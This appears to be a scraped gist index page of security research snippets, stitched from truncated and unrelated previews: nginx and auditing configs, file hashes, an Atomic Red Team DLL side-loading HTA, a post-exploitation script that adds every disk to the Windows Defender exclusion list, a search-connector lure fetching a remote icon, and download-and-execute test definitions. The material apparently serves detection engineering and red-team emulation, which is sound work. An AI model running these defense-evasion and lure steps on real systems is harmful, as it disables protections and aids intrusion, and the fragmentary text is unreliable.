Michael Haag MHaggis

STRT Attack Range Nginx.conf

The following is the base nginx.conf file utilized to proxy to applications. Note the most important part is the logging kv, in which we log as much data with. This is CIM compliant and does map to the Splunk Web Datamodel.

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

Modify, copy and paste the following with appropraite permissions to enable SACL object access on the ScreenConnect directories or App_Extensions directory.

# PowerShell script to enable auditing for event ID 4663 for all write operations to a specified path

# Define the path
$folderPath = "C:\Program Files (x86)\ScreenConnect\App_Extensions"

# Step 1: Enable Audit Policy

38279fdad25c7972be9426cadb5ad5e3ee7e9761b0a41ed617945cb9a3713702
b7866dff1a56d27aa55caeeb55973fa76e30eedc1e3349fc3ddf5af810f23f72
35630220b3ae942a4c3061981f9205a897ead5b58936747ffda871babce93d55
c969e6bd943c6476eb441a70f17788fc24de61a08cc2c53cec97b384f17e4cf6
db6fa8cecd6ad1647773914e0f1b07a85ef6e1171e610069feb42122adbfea29
3f92262cdf4ed977b0c1137a5f011c67d665027b2e450867004c7e8409efc432
1fdd63b4b1db9637871a4f574c746980977accf2a0f6c3ceaef82b6641a3e9e7
97b467d4aabe790423c065f4fbb20f0e04a5af0002347c0e627726008cdd2aac

	local function file_exists(path)
	local file = io.open(path, "r")
	if file then
	file:close()
	return true
	end
	return false
	end

	print([[

	<html>
	<head>
	<title>Atomic Red Team - DLL Side-Loading HTA</title>
	<HTA:APPLICATION ID="AtomicSideLoad" APPLICATIONNAME="AtomicSideLoad" BORDER="thin" BORDERSTYLE="normal" ICON="shell32.dll,4" >
	<script language="VBScript">
	Dim shell
	Set shell = CreateObject("Wscript.Shell")

	' Base64 encoded content of invite.zip - which is https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/T1574.002.md#atomic-test-1---dll-side-loading-using-the-notepad-gupexe-binary">https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/T1574.002.md#atomic-test-1---dll-side-loading-using-the-notepad-gupexe-binary
	Dim base64EncodedContent

	## Chain Reaction

	## Add all logical disks to Windows Defender exclusion list
	Write-Output "Adding all logical disks to Windows Defender exclusion list"
	foreach ($disk in Get-WmiObject Win32_Logicaldisk){
	Add-MpPreference -ExclusionPath ($disk.deviceid + "\")
	}
	Start-Sleep -s 3

	## Download and move a file to the startup folder

	attack_technique: Many
	display_name: Slash and Grab Post-Ex
	atomic_tests:
	- name: Add all logical disks to Windows Defender exclusion list
	description: \|
	This test adds all logical disks on the system to the Windows Defender exclusion list.
	supported_platforms:
	- windows
	executor:
	command: \|

	<?xml version="1.0" encoding="UTF-8"?>
	<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
	<iconReference>imageres.dll,-1021</iconReference>
	<description>invoice</description>
	<isSearchOnlyItem>false</isSearchOnlyItem>
	<includeInStartMenuScope>true</includeInStartMenuScope>
	<iconReference>http://<somewhereanywhere>/icon.ico</iconReference>
	<templateInfo>
	<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
	</templateInfo>

	<#
	.SYNOPSIS

	Compares the HVCI block list on the current system against the list of
	vulnerable and malicious drivers from loldrivers.io

	Company: Trail of Bits
	Author: Michael Lin
	Contributors: Yarden Shafir
	License: Apache 2

	attack_technique: T1059
	display_name: Command and Scripting Interpreter
	atomic_tests:
	- name: AutoIt Message Box Test with Download and Extract
	description: \|
	Downloads AutoIt to the temporary directory, extracts it, and executes an AutoIt script that shows a message box.
	supported_platforms:
	- windows
	input_arguments:
	autoit_script_path: